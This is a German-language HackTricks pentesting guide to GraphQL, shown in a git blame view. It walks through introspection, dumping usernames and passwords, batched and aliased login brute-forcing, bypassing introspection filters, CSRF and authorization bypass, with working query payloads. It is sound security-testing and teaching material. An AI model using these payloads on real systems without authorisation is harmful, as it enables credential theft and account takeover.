hacktricks/network-services-pentesting/pentesting-web/graphql.md

557 lines
31 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# GraphQL
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Unterstützen Sie HackTricks</summary>
2023-12-31 02:24:39 +01:00
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
## Einführung
GraphQL wird als **effiziente Alternative** zu REST API **hervorgehoben**, die einen vereinfachten Ansatz zum Abfragen von Daten aus dem Backend bietet. Im Gegensatz zu REST, das oft zahlreiche Anfragen über verschiedene Endpunkte erfordert, um Daten zu sammeln, ermöglicht GraphQL das Abrufen aller benötigten Informationen über eine **einzelne Anfrage**. Diese Vereinfachung **kommt Entwicklern** erheblich zugute, indem sie die Komplexität ihrer Datenabrufprozesse verringert.
2024-02-10 15:36:32 +00:00
## GraphQL und Sicherheit
Mit dem Aufkommen neuer Technologien, einschließlich GraphQL, entstehen auch neue Sicherheitsanfälligkeiten. Ein wichtiger Punkt ist, dass **GraphQL standardmäßig keine Authentifizierungsmechanismen enthält**. Es liegt in der Verantwortung der Entwickler, solche Sicherheitsmaßnahmen zu implementieren. Ohne angemessene Authentifizierung können GraphQL-Endpunkte sensible Informationen für nicht authentifizierte Benutzer offenlegen, was ein erhebliches Sicherheitsrisiko darstellt.
### Verzeichnis-Brute-Force-Angriffe und GraphQL
Um exponierte GraphQL-Instanzen zu identifizieren, wird empfohlen, spezifische Pfade in Verzeichnis-Brute-Force-Angriffen einzuschließen. Diese Pfade sind:
* `/graphql`
* `/graphiql`
* `/graphql.php`
* `/graphql/console`
* `/api`
* `/api/graphql`
* `/graphql/api`
* `/graphql/graphql`
2023-01-20 10:47:38 +00:00
Die Identifizierung offener GraphQL-Instanzen ermöglicht die Untersuchung der unterstützten Abfragen. Dies ist entscheidend für das Verständnis der über den Endpunkt zugänglichen Daten. Das Introspektionssystem von GraphQL erleichtert dies, indem es die Abfragen detailliert, die ein Schema unterstützt. Weitere Informationen dazu finden Sie in der GraphQL-Dokumentation zur Introspektion: [**GraphQL: Eine Abfragesprache für APIs.**](https://graphql.org/learn/introspection/)
### Fingerabdruck
2022-06-21 16:32:08 +00:00
Das Tool [**graphw00f**](https://github.com/dolevf/graphw00f) kann erkennen, welcher GraphQL-Engine auf einem Server verwendet wird, und druckt dann einige hilfreiche Informationen für den Sicherheitsprüfer.
2022-06-21 16:32:08 +00:00
2024-02-10 15:36:32 +00:00
#### Universelle Abfragen <a href="#universal-queries" id="universal-queries"></a>
Um zu überprüfen, ob eine URL ein GraphQL-Dienst ist, kann eine **universelle Abfrage**, `query{__typename}`, gesendet werden. Wenn die Antwort `{"data": {"__typename": "Query"}}` enthält, bestätigt dies, dass die URL einen GraphQL-Endpunkt hostet. Diese Methode basiert auf dem `__typename`-Feld von GraphQL, das den Typ des abgefragten Objekts offenbart.
2024-02-08 22:36:15 +01:00
```javascript
query{__typename}
```
### Grundlegende Enumeration
Graphql unterstützt normalerweise **GET**, **POST** (x-www-form-urlencoded) und **POST**(json). Obwohl es aus Sicherheitsgründen empfohlen wird, nur json zuzulassen, um CSRF-Angriffe zu verhindern.
2024-02-10 15:36:32 +00:00
#### Introspektion
Um Introspektion zu verwenden, um Schema-Informationen zu entdecken, abfragen Sie das `__schema`-Feld. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar.
```bash
query={__schema{types{name,fields{name}}}}
```
Mit dieser Abfrage finden Sie die Namen aller verwendeten Typen:
![](<../../.gitbook/assets/image (1036).png>)
{% code overflow="wrap" %}
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
{% endcode %}
Mit dieser Abfrage können Sie alle Typen, deren Felder und deren Argumente (sowie den Typ der Argumente) extrahieren. Dies wird sehr nützlich sein, um zu wissen, wie man die Datenbank abfragt.
![](<../../.gitbook/assets/image (950).png>)
2024-02-10 15:36:32 +00:00
**Fehler**
Es ist interessant zu wissen, ob die **Fehler** angezeigt werden, da sie mit nützlichen **Informationen** beitragen werden.
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
![](<../../.gitbook/assets/image (416).png>)
**Datenbankschema über Introspektion auflisten**
{% hint style="info" %}
Wenn die Introspektion aktiviert ist, aber die obige Abfrage nicht ausgeführt wird, versuchen Sie, die `onOperation`, `onFragment` und `onField` Direktiven aus der Abfrage-Struktur zu entfernen.
{% endhint %}
```bash
2024-02-10 15:36:32 +00:00
#Full introspection query
query IntrospectionQuery {
2024-02-10 15:36:32 +00:00
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
2024-02-10 15:36:32 +00:00
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
2024-02-10 15:36:32 +00:00
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
2024-02-10 15:36:32 +00:00
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
Inline-Introspektionsabfrage:
```
2021-07-28 10:54:41 +00:00
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
2024-02-10 15:36:32 +00:00
Die letzte Codezeile ist eine GraphQL-Abfrage, die alle Metainformationen aus dem GraphQL (Objektnamen, Parameter, Typen...) ausgibt.
2021-07-28 10:54:41 +00:00
![](<../../.gitbook/assets/image (363).png>)
Wenn die Introspektion aktiviert ist, können Sie [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) verwenden, um in einer GUI alle Optionen anzuzeigen.
2021-04-14 15:01:04 +00:00
2024-02-10 15:36:32 +00:00
### Abfragen
Jetzt, da wir wissen, welche Art von Informationen in der Datenbank gespeichert ist, lassen Sie uns versuchen, **einige Werte zu extrahieren**.
In der Introspektion können Sie **sehen, welches Objekt Sie direkt abfragen können** (weil Sie ein Objekt nicht nur abfragen können, weil es existiert). Im folgenden Bild sehen Sie, dass der "_queryType_" "_Query_" genannt wird und dass eines der Felder des "_Query_"-Objekts "_flags_" ist, das ebenfalls ein Objekttyp ist. Daher können Sie das Flag-Objekt abfragen.
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
Beachten Sie, dass der Typ der Abfrage "_flags_" "_Flags_" ist, und dieses Objekt ist wie folgt definiert:
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
Sie können sehen, dass die "_Flags_"-Objekte aus **name** und **value** bestehen. Dann können Sie alle Namen und Werte der Flags mit der Abfrage erhalten:
```javascript
query={flags{name, value}}
```
Beachten Sie, dass im Falle des **Objekts, das abgefragt werden soll**, ein **primitiver** **Typ** wie **string** ist, wie im folgenden Beispiel
![](<../../.gitbook/assets/image (958).png>)
Sie können es einfach abfragen mit:
```javascript
query={hiddenFlags}
```
In einem anderen Beispiel, in dem es 2 Objekte im "_Query_" Typobjekt gab: "_user_" und "_users_".\
Wenn diese Objekte keine Argumente zum Suchen benötigen, könnte man **alle Informationen von ihnen abrufen**, indem man einfach nach den gewünschten Daten fragt. In diesem Beispiel aus dem Internet könnte man die gespeicherten Benutzernamen und Passwörter extrahieren:
![](<../../.gitbook/assets/image (880).png>)
Wenn man jedoch in diesem Beispiel versucht, dies zu tun, erhält man diesen **Fehler**:
![](<../../.gitbook/assets/image (1042).png>)
Es scheint, dass es irgendwie mit dem "_**uid**_" Argument vom Typ _**Int**_ suchen wird.\
Wie auch immer, wir wussten bereits, dass im Abschnitt [Basic Enumeration](graphql.md#basic-enumeration) eine Abfrage vorgeschlagen wurde, die uns alle benötigten Informationen zeigte: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Wenn du das Bild liest, das bereitgestellt wurde, als ich diese Abfrage ausgeführt habe, wirst du sehen, dass "_**user**_" das **arg** "_**uid**_" vom Typ _Int_ hatte.
Durch einige leichte _**uid**_ Bruteforce fand ich heraus, dass bei _**uid**=**1**_ ein Benutzername und ein Passwort abgerufen wurden:\
`query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (90).png>)
Beachte, dass ich **entdeckt** habe, dass ich nach den **Parametern** "_**user**_" und "_**password**_" fragen konnte, denn wenn ich versuche, nach etwas zu suchen, das nicht existiert (`query={user(uid:1){noExists}}`), erhalte ich diesen Fehler:
![](<../../.gitbook/assets/image (707).png>)
Und während der **Enumeration-Phase** entdeckte ich, dass das "_**dbuser**_" Objekt die Felder "_**user**_" und "_**password**_" hatte.
**Query-String-Dump-Trick (danke an @BinaryShadow\_)**
Wenn du nach einem String-Typ suchen kannst, wie: `query={theusers(description: ""){username,password}}` und du **nach einem leeren String suchst**, wird es **alle Daten dumpen**. (_Beachte, dass dieses Beispiel nicht mit dem Beispiel der Tutorials zusammenhängt, für dieses Beispiel gehe davon aus, dass du mit "**theusers**" nach einem String-Feld namens "**description**" suchen kannst_).
### Suchen
2021-03-13 17:03:22 +00:00
In diesem Setup enthält eine **Datenbank** **Personen** und **Filme**. **Personen** werden durch ihre **E-Mail** und **Namen** identifiziert; **Filme** durch ihren **Namen** und **Bewertung**. **Personen** können Freunde miteinander sein und auch Filme haben, was Beziehungen innerhalb der Datenbank anzeigt.
2024-04-06 18:30:57 +00:00
Du kannst **Personen** **nach** dem **Namen** suchen und ihre E-Mails erhalten:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-10 15:36:32 +00:00
searchPerson(name: "John Doe") {
email
}
2021-03-13 17:03:22 +00:00
}
```
Du kannst **Personen** **nach** dem **Namen** **suchen** und ihre **abonnierten** **Filme** erhalten:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-10 15:36:32 +00:00
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
2021-03-13 17:03:22 +00:00
}
```
Beachten Sie, wie angegeben ist, um den `name` der `subscribedMovies` der Person abzurufen.
2021-03-13 17:03:22 +00:00
2024-02-10 15:36:32 +00:00
Sie können auch **mehrere Objekte gleichzeitig suchen**. In diesem Fall wird eine Suche nach 2 Filmen durchgeführt:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-10 15:36:32 +00:00
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
2021-03-13 17:03:22 +00:00
}r
```
Oder sogar **Beziehungen mehrerer verschiedener Objekte mithilfe von Aliassen**:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-10 15:36:32 +00:00
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
2021-03-13 17:03:22 +00:00
}
```
2024-02-10 15:36:32 +00:00
### Mutationen
2021-03-13 17:03:22 +00:00
2024-02-10 15:36:32 +00:00
**Mutationen werden verwendet, um Änderungen auf der Serverseite vorzunehmen.**
2021-03-13 16:07:57 +00:00
In der **Introspektion** können Sie die **deklarierten** **Mutationen** finden. Im folgenden Bild wird der "_MutationType_" als "_Mutation_" bezeichnet und das "_Mutation_"-Objekt enthält die Namen der Mutationen (wie "_addPerson_" in diesem Fall):
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
In diesem Setup enthält eine **Datenbank** **Personen** und **Filme**. **Personen** werden durch ihre **E-Mail** und **Namen** identifiziert; **Filme** durch ihren **Namen** und **Bewertung**. **Personen** können Freunde miteinander sein und auch Filme haben, was Beziehungen innerhalb der Datenbank anzeigt.
2021-03-13 16:07:57 +00:00
Eine Mutation, um **neue** Filme in der Datenbank zu **erstellen**, könnte wie folgt aussehen (in diesem Beispiel wird die Mutation `addMovie` genannt):
2021-03-13 16:07:57 +00:00
```javascript
mutation {
2024-02-10 15:36:32 +00:00
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
2021-03-13 16:07:57 +00:00
}
```
2024-02-10 15:36:32 +00:00
**Beachten Sie, wie sowohl die Werte als auch der Datentyp in der Abfrage angegeben sind.**
2021-03-13 16:07:57 +00:00
Zusätzlich unterstützt die Datenbank eine **Mutation**-Operation, die `addPerson` genannt wird und die Erstellung von **Personen** zusammen mit ihren Verbindungen zu bestehenden **Freunden** und **Filmen** ermöglicht. Es ist wichtig zu beachten, dass die Freunde und Filme bereits in der Datenbank vorhanden sein müssen, bevor sie mit der neu erstellten Person verknüpft werden.
2021-03-13 16:07:57 +00:00
```javascript
mutation {
2024-02-10 15:36:32 +00:00
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
2021-03-13 16:07:57 +00:00
}
```
### Directive Overloading
Wie in [**einer der Schwachstellen, die in diesem Bericht beschrieben sind**](https://www.landh.tech/blog/20240304-google-hack-50000/) erklärt, bedeutet eine Directive Overloading, eine Direktive sogar Millionen von Malen aufzurufen, um den Server dazu zu bringen, Operationen zu verschwenden, bis es möglich ist, ihn DoS zu machen.
2021-03-13 16:07:57 +00:00
### Batching brute-force in 1 API request
Diese Informationen stammen von [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Authentifizierung über die GraphQL-API mit **gleichzeitigem Senden vieler Abfragen mit unterschiedlichen Anmeldeinformationen**, um dies zu überprüfen. Es handelt sich um einen klassischen Brute-Force-Angriff, aber jetzt ist es möglich, mehr als ein Login/Passwort-Paar pro HTTP-Anfrage zu senden, dank der GraphQL-Batching-Funktion. Dieser Ansatz würde externe Rate-Überwachungsanwendungen täuschen, indem er denkt, dass alles in Ordnung ist und kein Brute-Forcing-Bot versucht, Passwörter zu erraten.
Unten finden Sie die einfachste Demonstration einer Anwendungsauthentifizierungsanfrage, mit **3 verschiedenen E-Mail/Passwort-Paaren gleichzeitig**. Offensichtlich ist es möglich, Tausende in einer einzigen Anfrage auf die gleiche Weise zu senden:
![](<../../.gitbook/assets/image (1081).png>)
Wie wir aus dem Screenshot der Antwort sehen können, gaben die erste und die dritte Anfrage _null_ zurück und spiegelten die entsprechenden Informationen im _error_-Bereich wider. Die **zweite Mutation hatte die korrekten Authentifizierungs**daten und die Antwort enthält das korrekte Authentifizierungssession-Token.
![](<../../.gitbook/assets/image (119) (1).png>)
## GraphQL Without Introspection
2022-09-05 09:01:26 +00:00
Immer mehr **GraphQL-Endpunkte deaktivieren die Introspektion**. Die Fehler, die GraphQL wirft, wenn eine unerwartete Anfrage empfangen wird, sind jedoch ausreichend für Tools wie [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), um den größten Teil des Schemas zu rekonstruieren.
2022-09-05 09:01:26 +00:00
Darüber hinaus beobachtet die Burp Suite-Erweiterung [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL-API-Anfragen, die durch Burp gehen**, und **baut** ein internes GraphQL-**Schema** mit jeder neuen Abfrage, die sie sieht. Es kann auch das Schema für GraphiQL und Voyager offenlegen. Die Erweiterung gibt eine gefälschte Antwort zurück, wenn sie eine Introspektionsanfrage erhält. Infolgedessen zeigt GraphQuail alle Abfragen, Argumente und Felder, die innerhalb der API verfügbar sind. Für weitere Informationen [**hier überprüfen**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Eine schöne **Wortliste**, um [**GraphQL-Entitäten zu entdecken, finden Sie hier**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Um Einschränkungen bei Introspektionsanfragen in APIs zu umgehen, erweist sich das Einfügen eines **Sonderzeichens nach dem `__schema`-Schlüsselwort** als effektiv. Diese Methode nutzt häufige Entwicklerfehler in Regex-Mustern aus, die darauf abzielen, die Introspektion zu blockieren, indem sie sich auf das `__schema`-Schlüsselwort konzentrieren. Durch das Hinzufügen von Zeichen wie **Leerzeichen, Zeilenumbrüchen und Kommas**, die GraphQL ignoriert, aber möglicherweise nicht in Regex berücksichtigt werden, können Einschränkungen umgangen werden. Zum Beispiel kann eine Introspektionsanfrage mit einem Zeilenumbruch nach `__schema` solche Verteidigungen umgehen:
```bash
2024-02-08 22:36:15 +01:00
# Example with newline to bypass
2024-02-10 15:36:32 +00:00
{
"query": "query{__schema
{queryType{name}}}"
}
```
Wenn dies nicht erfolgreich ist, ziehen Sie alternative Anforderungsmethoden in Betracht, wie **GET-Anfragen** oder **POST mit `x-www-form-urlencoded`**, da Einschränkungen möglicherweise nur für POST-Anfragen gelten.
### Versuchen Sie WebSockets
Wie in [**diesem Vortrag**](https://www.youtube.com/watch?v=tIo\_t5uUK50) erwähnt, überprüfen Sie, ob es möglich sein könnte, sich über WebSockets mit graphQL zu verbinden, da dies Ihnen möglicherweise ermöglicht, eine potenzielle WAF zu umgehen und die Websocket-Kommunikation das Schema von graphQL preiszugeben:
```javascript
ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}
var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}
```
### **Entdecken von Exponierten GraphQL-Strukturen**
Wenn die Introspektion deaktiviert ist, ist das Durchsuchen des Quellcodes der Website nach vorab geladenen Abfragen in JavaScript-Bibliotheken eine nützliche Strategie. Diese Abfragen können im `Sources`-Tab der Entwicklertools gefunden werden, was Einblicke in das Schema der API bietet und potenziell **exponierte sensible Abfragen** offenbart. Die Befehle zur Suche innerhalb der Entwicklertools sind:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
2022-05-01 16:57:45 +00:00
## CSRF in GraphQL
2021-06-09 11:30:46 +00:00
2024-02-10 15:36:32 +00:00
Wenn Sie nicht wissen, was CSRF ist, lesen Sie die folgende Seite:
2021-06-09 11:30:46 +00:00
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
2021-06-09 11:30:46 +00:00
Dort draußen werden Sie mehrere GraphQL-Endpunkte finden, die **ohne CSRF-Token konfiguriert sind.**
2021-06-09 11:30:46 +00:00
2024-02-10 15:36:32 +00:00
Beachten Sie, dass GraphQL-Anfragen normalerweise über POST-Anfragen mit dem Content-Type **`application/json`** gesendet werden.
2021-06-09 11:30:46 +00:00
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
Allerdings unterstützen die meisten GraphQL-Endpunkte auch **`form-urlencoded` POST-Anfragen:**
2021-06-09 11:30:46 +00:00
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
Daher ist es möglich, **Änderungen** in der GraphQL durch Ausnutzung einer CSRF vorzunehmen, da CSRF-Anfragen wie die vorherigen **ohne Preflight-Anfragen** gesendet werden.
2021-06-09 11:30:46 +00:00
Beachten Sie jedoch, dass der neue Standardwert des Cookie-Werts des `samesite`-Flags von Chrome `Lax` ist. Das bedeutet, dass das Cookie nur von einer Drittanbieter-Website in GET-Anfragen gesendet wird.
2021-08-03 11:52:36 +00:00
Es ist zu beachten, dass es normalerweise möglich ist, die **Abfrage** **Anfrage** auch als **GET** **Anfrage** zu senden und das CSRF-Token möglicherweise in einer GET-Anfrage nicht validiert wird.
Außerdem könnte es möglich sein, durch Ausnutzung eines [**XS-Search**](../../pentesting-web/xs-search/) **Angriffs** Inhalte vom GraphQL-Endpunkt unter Ausnutzung der Anmeldeinformationen des Benutzers zu exfiltrieren.
2021-08-03 11:52:36 +00:00
Für weitere Informationen **überprüfen Sie den** [**originalen Beitrag hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
2021-06-09 11:30:46 +00:00
## Cross-Site-WebSocket-Hijacking in GraphQL
Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, ein **Cross-Site-WebSocket-Hijacking durchzuführen, um eine Authentifizierung mit GraphQL mit ungeschützten Cookies auszunutzen** und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen.
Für weitere Informationen überprüfen Sie:
{% content-ref url="../../pentesting-web/websocket-attacks.md" %}
[websocket-attacks.md](../../pentesting-web/websocket-attacks.md)
{% endcontent-ref %}
2021-06-09 11:30:46 +00:00
2024-02-10 15:36:32 +00:00
## Autorisierung in GraphQL
2022-07-21 20:01:55 +00:00
Viele GraphQL-Funktionen, die am Endpunkt definiert sind, überprüfen möglicherweise nur die Authentifizierung des Anforderers, jedoch nicht die Autorisierung.
Das Modifizieren von Abfrageeingabevariablen könnte zu sensiblen Kontodetails [leaked](https://hackerone.com/reports/792927) führen.
2024-04-06 18:30:57 +00:00
Mutation könnte sogar zu einem Account-Übernahmeversuch führen, indem versucht wird, andere Kontodaten zu ändern.
```javascript
{
2024-02-10 15:36:32 +00:00
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
2024-02-10 15:36:32 +00:00
### Umgehung der Autorisierung in GraphQL
2022-07-31 22:37:48 +00:00
[Abfragen verketten](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) kann ein schwaches Authentifizierungssystem umgehen.
Im folgenden Beispiel sehen Sie, dass die Operation "forgotPassword" ist und dass sie nur die zugehörige forgotPassword-Abfrage ausführen sollte. Dies kann umgangen werden, indem am Ende eine Abfrage hinzugefügt wird, in diesem Fall fügen wir "register" und eine Benutzer-Variable hinzu, damit das System sich als neuer Benutzer registriert.
2022-09-05 09:01:26 +00:00
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Umgehung von Ratenlimits mit Aliassen in GraphQL
In GraphQL sind Aliasse ein leistungsstarkes Feature, das die **explizite Benennung von Eigenschaften** bei der Durchführung einer API-Anfrage ermöglicht. Diese Fähigkeit ist besonders nützlich, um **mehrere Instanzen desselben Typs** von Objekten innerhalb einer einzigen Anfrage abzurufen. Aliasse können verwendet werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben.
Für ein detailliertes Verständnis von GraphQL-Aliassen wird die folgende Ressource empfohlen: [Aliasse](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit für zahlreiche API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt durchzuführen. Dies ist möglich, weil einige Endpunkte durch Ratenbegrenzer geschützt sind, die darauf ausgelegt sind, Brute-Force-Angriffe zu verhindern, indem sie die **Anzahl der HTTP-Anfragen** einschränken. Diese Ratenbegrenzer berücksichtigen jedoch möglicherweise nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse die Einbeziehung mehrerer Abfragen in einer einzigen HTTP-Anfrage ermöglichen, können sie solche Ratenbegrenzungsmaßnahmen umgehen.
2024-04-06 18:30:57 +00:00
Betrachten Sie das unten angegebene Beispiel, das veranschaulicht, wie aliierte Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte Ratenbegrenzungen umgehen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst, was möglicherweise die Überprüfung zahlreicher Rabattcodes gleichzeitig ermöglicht.
```bash
2024-02-08 22:36:15 +01:00
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
2024-02-10 15:36:32 +00:00
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
```
## Tools
### Vulnerability scanners
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testen von häufigen Fehlkonfigurationen von GraphQL-Endpunkten
* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL-Sicherheitsprüfskript mit Fokus auf das Durchführen von Batch-GraphQL-Abfragen und -Mutationen.
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerabdruck des verwendeten GraphQL erstellen
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit, das verwendet werden kann, um Schemata zu erfassen und nach sensiblen Daten zu suchen, Autorisierung zu testen, Schemata zu brute-forcen und Pfade zu einem bestimmten Typ zu finden.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Kann als Standalone oder [Burp-Erweiterung](https://github.com/doyensec/inql) verwendet werden.
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kann auch als CLI-Client verwendet werden, um Angriffe zu automatisieren
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Tool, das die verschiedenen Möglichkeiten auflistet, **einen bestimmten Typ in einem GraphQL-Schema zu erreichen**.
* [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Der Nachfolger der Standalone- und CLI-Modi von InQL
